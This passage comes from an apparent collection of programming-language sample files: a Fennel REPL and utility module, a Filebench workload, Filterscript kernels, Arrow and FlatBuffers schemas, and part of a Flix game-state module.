environment, if present.\n  (match (pcall (specials.load-code \"return require(...)\" env) module-name)\n    (true old) (let [_ (tset package.loaded module-name nil)\n                     (ok new) (pcall require module-name)\n                     ;; keep the old module if reload failed\n                     new (if (not ok)\n                             (do\n                               (on-values [new])\n                               old)\n                             new)]\n                 ;; if the module isn't a table then we can't make changes\n                 ;; which affect already-loaded code, but if it is then we\n                 ;; should splice new values into the existing table and\n                 ;; remove values that are gone.\n                 (when (and (= (type old) :table) (= (type new) :table))\n                   (each [k v (pairs new)]\n                     (tset old k v))\n                   (each [k (pairs old)]\n                     (when (= nil (. new k))\n                       (tset old k nil)))\n                   (tset package.loaded module-name old))\n                 (on-values [:ok]))\n    (false msg) (on-error :Runtime (pick-values 1 (msg:gsub \"\\n.*\" \"\")))))\n\n(fn commands.reload [env read on-values on-error]\n  (match (pcall read)\n    (true true module-sym) (reload (tostring module-sym) env on-values on-error)\n    (false ?parse-ok ?msg) (on-error :Parse (or ?msg ?parse-ok))))\n\n(compiler.metadata:set commands.reload :fnl/docstring\n                       \"Reload the specified module.\")\n\n(fn commands.reset [env _ on-values]\n  (set env.___replLocals___ {})\n  (on-values [:ok]))\n\n(compiler.metadata:set commands.reset :fnl/docstring\n                       \"Erase all repl-local scope.\")\n\n(fn commands.complete [env read on-values on-error scope]\n  (match (pcall read)\n    (true true input) (on-values (completer env scope (tostring input)))\n    (_ _ ?msg) (on-error :Parse (or ?msg \"Couldn't parse completion input.\"))))\n\n(compiler.metadata:set commands.complete :fnl/docstring\n                       \"Print all possible completions for a given input.\")\n\n(fn load-plugin-commands []\n  (when (and utils.root utils.root.options utils.root.options.plugins)\n    (each [_ plugin (ipairs utils.root.options.plugins)]\n      (each [name f (pairs plugin)]\n        ;; first function to provide a command should win\n        (match (name:match \"^repl%-command%-(.*)\")\n          cmd-name (tset commands cmd-name (or (. commands cmd-name) f)))))))\n\n(fn run-command [input read loop env on-values on-error scope]\n  (load-plugin-commands)\n  (let [command-name (input:match \",([^%s/]+)\")]\n    (match (. commands command-name)\n      command (command env read on-values on-error scope)\n      _ (when (not= :exit command-name)\n          (on-values [\"Unknown command\" command-name])))\n    (when (not= :exit command-name)\n      (loop))))\n\n(fn repl [options]\n  (let [old-root-options utils.root.options\n        env (if options.env\n                (specials.wrap-env options.env)\n                (setmetatable {} {:__index (or (rawget _G :_ENV) _G)}))\n        save-locals? (and (not= options.saveLocals false) env.debug\n                          env.debug.getlocal)\n        opts {}\n        _ (each [k v (pairs options)]\n            (tset opts k v))\n        read-chunk (or opts.readChunk default-read-chunk)\n        on-values (or opts.onValues default-on-values)\n        on-error (or opts.onError default-on-error)\n        pp (or opts.pp tostring) ;; make parser\n        (byte-stream clear-stream) (parser.granulate read-chunk)\n        chars []\n        (read reset) (parser.parser (fn [parser-state]\n                                      (let [c (byte-stream parser-state)]\n                                        (table.insert chars c)\n                                        c)))\n        scope (compiler.make-scope)]\n    ;; use metadata unless we've specifically disabled it\n    (set opts.useMetadata (not= options.useMetadata false))\n    (when (= opts.allowedGlobals nil)\n      (set opts.allowedGlobals (specials.current-global-names opts.env)))\n    (when opts.registerCompleter\n      (opts.registerCompleter (partial completer env scope)))\n\n    (fn print-values [...]\n      (let [vals [...]\n            out []]\n        (set (env._ env.__) (values (. vals 1) vals))\n        ;; utils.map won't work here because of sparse tables\n        (for [i 1 (select \"#\" ...)]\n          (table.insert out (pp (. vals i))))\n        (on-values out)))\n\n    (fn loop []\n      (each [k (pairs chars)]\n        (tset chars k nil))\n      (let [(ok parse-ok? x) (pcall read)\n            src-string (string.char ((or table.unpack _G.unpack) chars))]\n        (set utils.root.options opts)\n        (if (not ok)\n            (do\n              (on-error :Parse parse-ok?)\n              (clear-stream)\n              (reset)\n              (loop))\n            (command? src-string)\n            (run-command src-string read loop env on-values on-error scope)\n            (when parse-ok? ; if this is false, we got eof\n              (match (pcall compiler.compile x\n                            {:correlate opts.correlate\n                             :source src-string\n                             : scope\n                             :useMetadata opts.useMetadata\n                             :moduleName opts.moduleName\n                             :assert-compile opts.assert-compile\n                             :parse-error opts.parse-error\n                             :useBitLib opts.useBitLib})\n                (false msg) (do\n                              (clear-stream)\n                              (on-error :Compile msg))\n                (true src) (let [src (if save-locals?\n                                         (splice-save-locals env src)\n                                         src)]\n                             (match (pcall specials.load-code src env)\n                               (false msg) (do\n                                             (clear-stream)\n                                             (on-error \"Lua Compile\" msg src))\n                               (_ chunk) (xpcall #(print-values (chunk))\n                                                 (partial on-error :Runtime)))))\n              (set utils.root.options old-root-options)\n              (loop)))))\n\n    (loop)))\n"
  },
  {
    "path": "samples/Fennel/utils.fnl",
    "content": ";; This module contains mostly general-purpose table-related functionality that\n;; you might expect to see in a standard library in most langugaes, as well as\n;; the definitions of several core compiler types. It could be split into two\n;; distinct modules along those lines.\n\n;;; General-purpose helper functions\n\n(fn stablepairs [t]\n  \"Like pairs, but gives consistent ordering every time. On 5.1, 5.2, and LuaJIT\n  pairs is already stable, but on 5.3+ every run gives different ordering.\"\n  (let [keys []\n        succ []]\n    (each [k (pairs t)]\n      (table.insert keys k))\n    (table.sort keys #(< (tostring $1) (tostring $2)))\n    (each [i k (ipairs keys)]\n      (tset succ k (. keys (+ i 1))))\n\n    (fn stablenext [tbl idx]\n      (let [key (if (= idx nil) (. keys 1) (. succ idx))\n            value (if (= key nil) nil (. tbl key))]\n        (values key value)))\n\n    (values stablenext t nil)))\n\n;; Note: the collect/icollect macros mostly make map/kvmap obsolete.\n\n(fn map [t f out]\n  \"Map function f over sequential table t, removing values where f returns nil.\nOptionally takes a target table to insert the mapped values into.\"\n  (let [out (or out [])\n        f (if (= (type f) :function)\n              f\n              #(. $ f))]\n    (each [_ x (ipairs t)]\n      (match (f x)\n        v (table.insert out v)))\n    out))\n\n(fn kvmap [t f out]\n  \"Map function f over key/value table t, similar to above, but it can return a\nsequential table if f returns a single value or a k/v table if f returns two.\nOptionally takes a target table to insert the mapped values into.\"\n  (let [out (or out [])\n        f (if (= (type f) :function)\n              f\n              #(. $ f))]\n    (each [k x (stablepairs t)]\n      (match (f k x)\n        (key value) (tset out key value)\n        (value) (table.insert out value)))\n    out))\n\n(fn copy [from to]\n  \"Returns a shallow copy of its table argument. Returns an empty table on nil.\"\n  (let [to (or to [])]\n    (each [k v (pairs (or from []))]\n      (tset to k v))\n    to))\n\n(fn member? [x tbl n]\n  (match (. tbl (or n 1))\n    x true\n    nil nil\n    _ (member? x tbl (+ (or n 1) 1))))\n\n(fn allpairs [tbl]\n  \"Like pairs, but if the table has an __index metamethod, it will recurisvely\ntraverse upwards, skipping duplicates, to iterate all inherited properties\"\n  (assert (= (type tbl) :table) \"allpairs expects a table\")\n  (var t tbl)\n  (let [seen []]\n    (fn allpairs-next [_ state]\n      (let [(next-state value) (next t state)]\n        (if (. seen next-state)\n            (allpairs-next nil next-state)\n            next-state\n            (do\n              (tset seen next-state true)\n              (values next-state value))\n            (match (getmetatable t)\n              {: __index} (when (= :table (type __index))\n                            (set t __index)\n                            (allpairs-next t))))))\n\n    allpairs-next))\n\n;;; AST functions\n\n;; AST nodes tend to be implemented as tables with specific \"marker\" metatables\n;; set on them; they have constructor functions which set the metatables and\n;; predicate functions which check the metatables. The fact that they use\n;; metatables should be considered an implementation detail. String and number\n;; literals are represented literally, and \"regular\" key/value tables are\n;; represented without a marker metatable since their metatables are needed to\n;; store file/line source data.\n\n(fn deref [self]\n  \"Get the name of a symbol.\"\n  (. self 1))\n\n;; haven't defined sym yet; circularity is needed here\n(var nil-sym nil)\n\n;; the tostring2 argument is passed in by fennelview; this lets us use the same\n;; function for regular tostring as for fennelview. when called from fennelview\n;; the list's contents will also show as being fennelviewed.\n(fn list->string [self tostring2]\n  (var (safe max) (values [] 0))\n  (each [k (pairs self)]\n    (when (and (= (type k) :number) (> k max))\n      (set max k)))\n  (for [i 1 max]\n    (tset safe i (or (and (= (. self i) nil) nil-sym) (. self i))))\n  (.. \"(\" (table.concat (map safe (or tostring2 tostring)) \" \" 1 max) \")\"))\n\n(fn comment-view [c]\n  (values c true))\n\n(fn sym= [a b]\n  (and (= (deref a) (deref b)) (= (getmetatable a) (getmetatable b))))\n\n(fn sym< [a b]\n  (< (. a 1) (tostring b)))\n\n(local symbol-mt {1 :SYMBOL\n                  :__fennelview deref\n                  :__tostring deref\n                  :__eq sym=\n                  :__lt sym<})\n\n(local expr-mt {1 :EXPR :__tostring deref})\n(local list-mt {1 :LIST :__fennelview list->string :__tostring list->string})\n(local comment-mt {1 :COMMENT\n                   :__fennelview comment-view\n                   :__tostring deref\n                   :__eq sym=\n                   :__lt sym<})\n\n(local sequence-marker [:SEQUENCE])\n(local vararg\n       (setmetatable [\"...\"] {1 :VARARG :__fennelview deref :__tostring deref}))\n\n(local getenv (or (and os os.getenv) #nil))\n\n(fn debug-on? [flag]\n  (let [level (or (getenv :FENNEL_DEBUG) \"\")]\n    (or (= level :all) (level:find flag))))\n\n(fn list [...]\n  \"Create a new list. Lists are a compile-time construct in Fennel; they are\nrepresented as tables with a special marker metatable. They only come from\nthe parser, and they represent code which comes from reading a paren form;\nthey are specifically not cons cells.\"\n  (setmetatable [...] list-mt))\n\n(fn sym [str ?source ?scope]\n  \"Create a new symbol. Symbols are a compile-time construct in Fennel and are\nnot exposed outside the compiler. Second optional argument is a table describing\nwhere the symbol came from; should be a table with filename, line, bytestart,\nand byteend fields.\"\n  (let [s {: ?scope 1 str}]\n    (each [k v (pairs (or ?source []))]\n      (when (= (type k) :string)\n        (tset s k v)))\n    (setmetatable s symbol-mt)))\n\n(set nil-sym (sym :nil))\n\n(fn sequence [...]\n  \"Create a new sequence. Sequences are tables that come from the parser when\nit encounters a form with square brackets. They are treated as regular tables\nexcept when certain macros need to look for binding forms, etc specifically.\"\n  ;; can't use SEQUENCE-MT directly as the sequence metatable like we do with\n  ;; the other types without giving up the ability to set source metadata\n  ;; on a sequence, (which we need for error reporting) so embed a marker\n  ;; value in the metatable instead.\n  (setmetatable [...] {:sequence sequence-marker}))\n\n(fn expr [strcode etype]\n  \"Create a new expression. etype should be one of:\n  :literal literals like numbers, strings, nil, true, false\n  :expression Complex strings of Lua code, may have side effects, etc\n              but is an expression\n  :statement Same as expression, but is also a valid statement (function calls)\n  :vargs varargs symbol\n  :sym symbol reference\"\n  (setmetatable {:type etype 1 strcode} expr-mt))\n\n(fn comment* [contents ?source]\n  (let [{: filename : line} (or ?source [])]\n    (setmetatable {1 contents : filename : line} comment-mt)))\n\n(fn varg []\n  vararg)\n\n(fn expr? [x]\n  \"Checks if an object is an expression. Returns the object if it is.\"\n  (and (= (type x) :table) (= (getmetatable x) expr-mt) x))\n\n(fn varg? [x]\n  \"Checks if an object is the vararg symbol. Returns the object if is.\"\n  (and (= x vararg) x))\n\n(fn list? [x]\n  \"Checks if an object is a list. Returns the object if is.\"\n  (and (= (type x) :table) (= (getmetatable x) list-mt) x))\n\n(fn sym? [x]\n  \"Checks if an object is a symbol. Returns the object if it is.\"\n  (and (= (type x) :table) (= (getmetatable x) symbol-mt) x))\n\n(fn sequence? [x]\n  \"Checks if an object is a sequence (created with a [] literal)\"\n  (let [mt (and (= (type x) :table) (getmetatable x))]\n    (and mt (= mt.sequence sequence-marker) x)))\n\n(fn comment? [x]\n  (and (= (type x) :table) (= (getmetatable x) comment-mt) x))\n\n(fn table? [x]\n  \"Checks if an object any kind of table, EXCEPT list/symbol/vararg/comment.\"\n  (and (= (type x) :table) (not= x vararg) (not= (getmetatable x) list-mt)\n       (not= (getmetatable x) symbol-mt) (not (comment? x)) x))\n\n(fn multi-sym? [str]\n  \"A multi symbol is a symbol that is actually composed of two or more symbols\nusing dot syntax. The main differences from normal symbols is that they can't\nbe declared local, and they may have side effects on invocation (metatables).\"\n  (if (sym? str) (multi-sym? (tostring str))\n      (not= (type str) :string) false\n      (let [parts []]\n        (each [part (str:gmatch \"[^%.%:]+[%.%:]?\")]\n          (let [last-char (part:sub (- 1))]\n            (when (= last-char \":\")\n              (set parts.multi-sym-method-call true))\n            (if (or (= last-char \":\") (= last-char \".\"))\n                (tset parts (+ (length parts) 1) (part:sub 1 (- 2)))\n                (tset parts (+ (length parts) 1) part))))\n        (and (> (length parts) 0) (or (: str :match \"%.\") (: str :match \":\"))\n             (not (str:match \"%.%.\")) (not= (str:byte) (string.byte \".\"))\n             (not= (str:byte (- 1)) (string.byte \".\")) parts))))\n\n(fn quoted? [symbol]\n  symbol.quoted)\n\n;;; Other\n\n(fn walk-tree [root f custom-iterator]\n  \"Walks a tree (like the AST), invoking f(node, idx, parent) on each node.\nWhen f returns a truthy value, recursively walks the children.\"\n  (fn walk [iterfn parent idx node]\n    (when (f idx node parent)\n      (each [k v (iterfn node)]\n        (walk iterfn node k v))))\n\n  (walk (or custom-iterator pairs) nil nil root)\n  root)\n\n(local lua-keywords [:and\n                     :break\n                     :do\n                     :else\n                     :elseif\n                     :end\n                     :false\n                     :for\n                     :function\n                     :if\n                     :in\n                     :local\n                     :nil\n                     :not\n                     :or\n                     :repeat\n                     :return\n                     :then\n                     :true\n                     :until\n                     :while\n                     :goto])\n\n(each [i v (ipairs lua-keywords)]\n  (tset lua-keywords v i))\n\n(fn valid-lua-identifier? [str]\n  (and (str:match \"^[%a_][%w_]*$\") (not (. lua-keywords str))))\n\n(local propagated-options [:allowedGlobals\n                           :indent\n                           :correlate\n                           :useMetadata\n                           :env\n                           :compiler-env\n                           :compilerEnv])\n\n(fn propagate-options [options subopts]\n  \"Certain options should always get propagated onwards when a function that\nhas options calls down into compile.\"\n  (each [_ name (ipairs propagated-options)]\n    (tset subopts name (. options name)))\n  subopts)\n\n(local root {:chunk nil :scope nil :options nil :reset (fn [])})\n\n(fn root.set-reset [{: chunk : scope : options : reset}]\n  (fn root.reset []\n    (set (root.chunk root.scope root.options root.reset)\n         (values chunk scope options reset))))\n\n(fn hook [event ...]\n  (when (and root.options root.options.plugins)\n    (each [_ plugin (ipairs root.options.plugins)]\n      (match (. plugin event)\n        f (f ...)))))\n\n{: allpairs\n : stablepairs\n : copy\n : kvmap\n : map\n : walk-tree\n : member?\n : list\n : sequence\n : sym\n : varg\n : deref\n : expr\n :comment comment*\n : comment?\n : expr?\n : list?\n : multi-sym?\n : sequence?\n : sym?\n : table?\n : varg?\n : quoted?\n : valid-lua-identifier?\n : lua-keywords\n : hook\n : propagate-options\n : root\n : debug-on?\n :path (table.concat [:./?.fnl :./?/init.fnl (getenv :FENNEL_PATH)] \";\")\n :macro-path (table.concat [:./?.fnl :./?/init-macros.fnl :./?/init.fnl\n                            (getenv :FENNEL_MACRO_PATH)] \";\")}\n"
  },
  {
    "path": "samples/Filebench WML/copyfiles.f",
    "content": "#\n# CDDL HEADER START\n#\n# The contents of this file are subject to the terms of the\n# Common Development and Distribution License (the \"License\").\n# You may not use this file except in compliance with the License.\n#\n# You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE\n# or http://www.opensolaris.org/os/licensing.\n# See the License for the specific language governing permissions\n# and limitations under the License.\n#\n# When distributing Covered Code, include this CDDL HEADER in each\n# file and include the License file at usr/src/OPENSOLARIS.LICENSE.\n# If applicable, add the following below this CDDL HEADER, with the\n# fields enclosed by brackets \"[]\" replaced with your own identifying\n# information: Portions Copyright [yyyy] [name of copyright owner]\n#\n# CDDL HEADER END\n#\n#\n# Copyright 2009 Sun Microsystems, Inc.  All rights reserved.\n# Use is subject to license terms.\n#\n\nset $dir=/tmp\nset $nfiles=1000\nset $meandirwidth=20\nset $meanfilesize=16k\nset $iosize=1m\nset $nthreads=1\n\nset mode quit firstdone\n\ndefine fileset name=bigfileset,path=$dir,size=$meanfilesize,entries=$nfiles,dirwidth=$meandirwidth,prealloc=100,paralloc\ndefine fileset name=destfiles,path=$dir,size=$meanfilesize,entries=$nfiles,dirwidth=$meandirwidth\n\ndefine process name=filereader,instances=1\n{\n  thread name=filereaderthread,memsize=10m,instances=$nthreads\n  {\n    flowop openfile name=openfile1,filesetname=bigfileset,fd=1\n    flowop readwholefile name=readfile1,fd=1,iosize=$iosize\n    flowop createfile name=createfile2,filesetname=destfiles,fd=2\n    flowop writewholefile name=writefile2,fd=2,srcfd=1,iosize=$iosize\n    flowop closefile name=closefile1,fd=1\n    flowop closefile name=closefile2,fd=2\n  }\n}\n\necho  \"Copyfiles Version 3.0 personality successfully loaded\"\n"
  },
  {
    "path": "samples/Filterscript/colormatrix.fs",
    "content": "/*\n * Copyright (C) 2012 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"ip.rsh\"\n\nstatic rs_matrix4x4 Mat;\n\nvoid init() {\n    rsMatrixLoadIdentity(&Mat);\n}\n\nvoid setMatrix(rs_matrix4x4 m) {\n    Mat = m;\n}\n\nuchar4 __attribute__((kernel)) root(uchar4 in) {\n    float4 f = convert_float4(in);\n    f = rsMatrixMultiply(&Mat, f);\n    f = clamp(f, 0.f, 255.f);\n    return convert_uchar4(f);\n}\n\n"
  },
  {
    "path": "samples/Filterscript/fs_kernel.fs",
    "content": "#pragma version(1)\n#pragma rs java_package_name(foo)\n\nint __attribute__((kernel)) root(uint32_t ain) {\n  return 0;\n}\n\nvoid __attribute__((kernel)) in_only(uint32_t ain) {\n}\n\nint __attribute__((kernel)) out_only() {\n  return 0;\n}\n\nint __attribute__((kernel)) everything(uint32_t ain, uint32_t x, uint32_t y) {\n  return 0;\n}\n\n"
  },
  {
    "path": "samples/FlatBuffers/Message.fbs",
    "content": "// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements.  See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership.  The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License.  You may obtain a copy of the License at\n//\n//   http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied.  See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\ninclude \"Schema.fbs\";\ninclude \"SparseTensor.fbs\";\ninclude \"Tensor.fbs\";\n\nnamespace org.apache.arrow.flatbuf;\n\n/// ----------------------------------------------------------------------\n/// Data structures for describing a table row batch (a collection of\n/// equal-length Arrow arrays)\n\n/// Metadata about a field at some level of a nested type tree (but not\n/// its children).\n///\n/// For example, a List<Int16> with values `[[1, 2, 3], null, [4], [5, 6], null]`\n/// would have {length: 5, null_count: 2} for its List node, and {length: 6,\n/// null_count: 0} for its Int16 node, as separate FieldNode structs\nstruct FieldNode {\n  /// The number of value slots in the Arrow array at this level of a nested\n  /// tree\n  length: long;\n\n  /// The number of observed nulls. Fields with null_count == 0 may choose not\n  /// to write their physical validity bitmap out as a materialized buffer,\n  /// instead setting the length of the bitmap buffer to 0.\n  null_count: long;\n}\n\nenum CompressionType: byte {\n  // LZ4 frame format, for portability, as provided by lz4frame.h or wrappers\n  // thereof. Not to be confused with \"raw\" (also called \"block\") format\n  // provided by lz4.h\n  LZ4_FRAME,\n\n  // Zstandard\n  ZSTD\n}\n\n/// Provided for forward compatibility in case we need to support different\n/// strategies for compressing the IPC message body (like whole-body\n/// compression rather than buffer-level) in the future\nenum BodyCompressionMethod: byte {\n  /// Each constituent buffer is first compressed with the indicated\n  /// compressor, and then written with the uncompressed length in the first 8\n  /// bytes as a 64-bit little-endian signed integer followed by the compressed\n  /// buffer bytes (and then padding as required by the protocol). The\n  /// uncompressed length may be set to -1 to indicate that the data that\n  /// follows is not compressed, which can be useful for cases where\n  /// compression does not yield appreciable savings.\n  /// Also, empty buffers can optionally be written out as 0-byte compressed\n  /// buffers, thereby omitting the 8-bytes length header.\n  BUFFER\n}\n\n/// Optional compression for the memory buffers constituting IPC message\n/// bodies. Intended for use with RecordBatch but could be used for other\n/// message types\ntable BodyCompression {\n  /// Compressor library.\n  /// For LZ4_FRAME, each compressed buffer must consist of a single frame.\n  codec: CompressionType = LZ4_FRAME;\n\n  /// Indicates the way the record batch body was compressed\n  method: BodyCompressionMethod = BUFFER;\n}\n\n/// A data header describing the shared memory layout of a \"record\" or \"row\"\n/// batch. Some systems call this a \"row batch\" internally and others a \"record\n/// batch\".\ntable RecordBatch {\n  /// number of records / rows. The arrays in the batch should all have this\n  /// length\n  length: long;\n\n  /// Nodes correspond to the pre-ordered flattened logical schema\n  nodes: [FieldNode];\n\n  /// Buffers correspond to the pre-ordered flattened buffer tree\n  ///\n  /// The number of buffers appended to this list depends on the schema. For\n  /// example, most primitive arrays will have 2 buffers, 1 for the validity\n  /// bitmap and 1 for the values. For struct arrays, there will only be a\n  /// single buffer for the validity (nulls) bitmap\n  buffers: [Buffer];\n\n  /// Optional compression of the message body\n  compression: BodyCompression;\n\n  /// Some types such as Utf8View are represented using a variable number of buffers.\n  /// For each such Field in the pre-ordered flattened logical schema, there will be\n  /// an entry in variadicBufferCounts to indicate the number of variadic\n  /// buffers which belong to that Field in the current RecordBatch.\n  ///\n  /// For example, the schema\n  ///     col1: Struct<alpha: Int32, beta: BinaryView, gamma: Float64>\n  ///     col2: Utf8View\n  /// contains two Fields with variadic buffers so variadicBufferCounts will have\n  /// two entries, the first counting the variadic buffers of `col1.beta` and the\n  /// second counting `col2`'s.\n  ///\n  /// This field may be omitted if and only if the schema contains no Fields with\n  /// a variable number of buffers, such as BinaryView and Utf8View.\n  variadicBufferCounts: [long];\n}\n\n/// For sending dictionary encoding information. Any Field can be\n/// dictionary-encoded, but in this case none of its children may be\n/// dictionary-encoded.\n/// There is one vector / column per dictionary, but that vector / column\n/// may be spread across multiple dictionary batches by using the isDelta\n/// flag\n\ntable DictionaryBatch {\n  id: long;\n  data: RecordBatch;\n\n  /// If isDelta is true the values in the dictionary are to be appended to a\n  /// dictionary with the indicated id. If isDelta is false this dictionary\n  /// should replace the existing dictionary.\n  isDelta: bool = false;\n}\n\n/// ----------------------------------------------------------------------\n/// The root Message type\n\n/// This union enables us to easily send different message types without\n/// redundant storage, and in the future we can easily add new message types.\n///\n/// Arrow implementations do not need to implement all of the message types,\n/// which may include experimental metadata types. For maximum compatibility,\n/// it is best to send data using RecordBatch\nunion MessageHeader {\n  Schema, DictionaryBatch, RecordBatch, Tensor, SparseTensor\n}\n\ntable Message {\n  version: org.apache.arrow.flatbuf.MetadataVersion;\n  header: MessageHeader;\n  bodyLength: long;\n  custom_metadata: [ KeyValue ];\n}\n\nroot_type Message;\n"
  },
  {
    "path": "samples/FlatBuffers/reflection.fbs",
    "content": "// This schema defines objects that represent a parsed schema, like\n// the binary version of a .fbs file.\n// This could be used to operate on unknown FlatBuffers at runtime.\n// It can even ... represent itself (!)\n\nnamespace reflection;\n\n// These must correspond to the enum in idl.h.\nenum BaseType : byte {\n    None,\n    UType,\n    Bool,\n    Byte,\n    UByte,\n    Short,\n    UShort,\n    Int,\n    UInt,\n    Long,\n    ULong,\n    Float,\n    Double,\n    String,\n    Vector,\n    Obj,     // Used for tables & structs.\n    Union,\n    Array,\n    Vector64,\n\n    // Add any new type above this value.\n    MaxBaseType\n}\n\ntable Type {\n    base_type:BaseType;\n    element:BaseType = None;  // Only if base_type == Vector\n                              // or base_type == Array.\n    index:int = -1;  // If base_type == Object, index into \"objects\" below.\n                     // If base_type == Union, UnionType, or integral derived\n                     // from an enum, index into \"enums\" below.\n                     // If base_type == Vector && element == Union or UnionType.\n    fixed_length:uint16 = 0;  // Only if base_type == Array.\n    /// The size (octets) of the `base_type` field.\n    base_size:uint = 4; // 4 Is a common size due to offsets being that size.\n    /// The size (octets) of the `element` field, if present.\n    element_size:uint = 0;\n}\n\ntable KeyValue {\n    key:string (required, key);\n    value:string;\n}\n\ntable EnumVal {\n    name:string (required);\n    value:long (key);\n    object:Object (deprecated);\n    union_type:Type;\n    documentation:[string];\n    attributes:[KeyValue];\n}\n\ntable Enum {\n    name:string (required, key);\n    values:[EnumVal] (required);  // In order of their values.\n    is_union:bool = false;\n    underlying_type:Type (required);\n    attributes:[KeyValue];\n    documentation:[string];\n    /// File that this Enum is declared in.\n    declaration_file: string;\n}\n\ntable Field {\n    name:string (required, key);\n    type:Type (required);\n    id:ushort;\n    offset:ushort;  // Offset into the vtable for tables, or into the struct.\n    default_integer:long = 0;\n    default_real:double = 0.0;\n    deprecated:bool = false;\n    required:bool = false;\n    key:bool = false;\n    attributes:[KeyValue];\n    documentation:[string];\n    optional:bool = false;\n    /// Number of padding octets to always add after this field. Structs only.\n    padding:uint16 = 0;\n    /// If the field uses 64-bit offsets.\n    offset64:bool = false;\n}\n\ntable Object {  // Used for both tables and structs.\n    name:string (required, key);\n    fields:[Field] (required);  // Sorted.\n    is_struct:bool = false;\n    minalign:int;\n    bytesize:int;  // For structs.\n    attributes:[KeyValue];\n    documentation:[string];\n    /// File that this Object is declared in.\n    declaration_file: string;\n}\n\ntable RPCCall {\n    name:string (required, key);\n    request:Object (required);      // must be a table (not a struct)\n    response:Object (required);     // must be a table (not a struct)\n    attributes:[KeyValue];\n    documentation:[string];\n}\n\ntable Service {\n    name:string (required, key);\n    calls:[RPCCall];\n    attributes:[KeyValue];\n    documentation:[string];\n    /// File that this Service is declared in.\n    declaration_file: string;\n}\n\n/// New schema language features that are not supported by old code generators.\nenum AdvancedFeatures : ulong (bit_flags) {\n    AdvancedArrayFeatures,\n    AdvancedUnionFeatures,\n    OptionalScalars,\n    DefaultVectorsAndStrings,\n}\n\n/// File specific information.\n/// Symbols declared within a file may be recovered by iterating over all\n/// symbols and examining the `declaration_file` field.\ntable SchemaFile {\n  /// Filename, relative to project root.\n  filename:string (required, key);\n  /// Names of included files, relative to project root.\n  included_filenames:[string];\n}\n\ntable Schema {\n    objects:[Object] (required);    // Sorted.\n    enums:[Enum] (required);        // Sorted.\n    file_ident:string;\n    file_ext:string;\n    root_table:Object;\n    services:[Service];             // Sorted.\n    advanced_features:AdvancedFeatures;\n    /// All the files used in this compilation. Files are relative to where\n    /// flatc was invoked.\n    fbs_files:[SchemaFile];         // Sorted.\n}\n\nroot_type Schema;\n\nfile_identifier \"BFBS\";\nfile_extension \"bfbs\";\n"
  },
  {
    "path": "samples/Flix/GameState.flix",
    "content": "/*\n * Copyright 2024 Matthew Lutze\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmod Flixball.Core.GameState {\n    use Flixball.Core.AiState\n    use Flixball.Core.Coordinates\n    use Flixball.Core.Move\n    use Flixball.Core.MoveLogic\n    use Flixball.Core.PlayerId\n    use Flixball.Core.Position\n    use Flixball.Core.Position.Position\n    use Flixball.Core.rotateDir\n    use Flixball.Core.Rotation\n    use Flixball.Core.Strategy\n    use Flixball.Core.Tile.Person\n    use Flixball.Core.Board.{adjust => boardAdjust}\n    use Flixball.Core.Board.Board\n    use Flixball.Core.Board.get_\n    use Flixball.Core.Board.set_\n    use Flixball.Core.Position.{coordinates => posCoords}\n    use Flixball.Core.Position.{direction => posDir}\n\n    use GameState.GameState\n\n    type alias PlayerInfo = {\n        state = AiState,\n        ml = MoveLogic,\n        pos = Position\n    }\n\n    pub enum GameState(\n        Map[PlayerId, PlayerInfo],\n        Board\n    )\n\n    //law gamestatea =\n\n    /// Returns the board of the state.\n    pub def board(s: GameState): Board = {\n        let GameState(_, b) = s;\n        b\n    }\n\n    ///\n    /// Gets the position of the given player.\n    ///\n    pub def playerPosition(id: PlayerId, s: GameState): Option[Position] = {\n        let GameState(players, _) = s;\n        players |> Map.get(id) |> Option.map(info -> info#pos)\n    }\n\n    /// Position updates are naively done without care for collisions or inconsistensies.\n    pub def map(f: PlayerInfo -> PlayerInfo, s: GameState): GameState =\n        mapWithId((_, info) -> f(info), s)\n\n    /// Position updates are naively done without care for collisions or inconsistensies.\n    pub def mapWithId(f: (PlayerId, PlayerInfo) -> PlayerInfo, s: GameState): GameState = region r {\n        let GameState(players0, board0) = s;\n        let board = Ref.fresh(r, board0);\n        let players = players0 |> Map.mapWithKey((id, info0) -> {\n            let info = f(id, info0);\n            if (info#pos != info0#pos) {\n                // remove previous\n                Ref.put(set_(posCoords(info0#pos), None, Ref.get(board)), board);\n                // insert new\n                Ref.put(set_(posCoords(info#pos), Some(Person(id, posDir(info#pos))), Ref.get(board)), board)\n            } else ();\n            info\n        });\n        GameState(players, Ref.get(board))\n    }\n\n    /// Adjusts the playerinfo of player `id`. Position updates are not verified.\n    pub def adjust(id: PlayerId, f: PlayerInfo -> PlayerInfo, s: GameState): GameState = region r {\n        let GameState(players0, board0) = s;\n        let board = Ref.fresh(r, board0);\n        let players = players0 |> Map.adjust(info0 -> {\n            let info = f(info0);\n            if (info#pos != info0#pos) {\n                Ref.put(set_(posCoords(info0#pos), None, Ref.get(board)), board);\n                Ref.put(set_(posCoords(info#pos), Some(Person(id, posDir(info#pos))), Ref.get(board)), board)\n            } else ();\n            info\n        }, id);\n        GameState(players, Ref.get(board))\n    }\n\n    /// Computes the logics of all players, returning their map of moves.\n    pub def computeMoveLogics(s: GameState): (Map[PlayerId, Move], 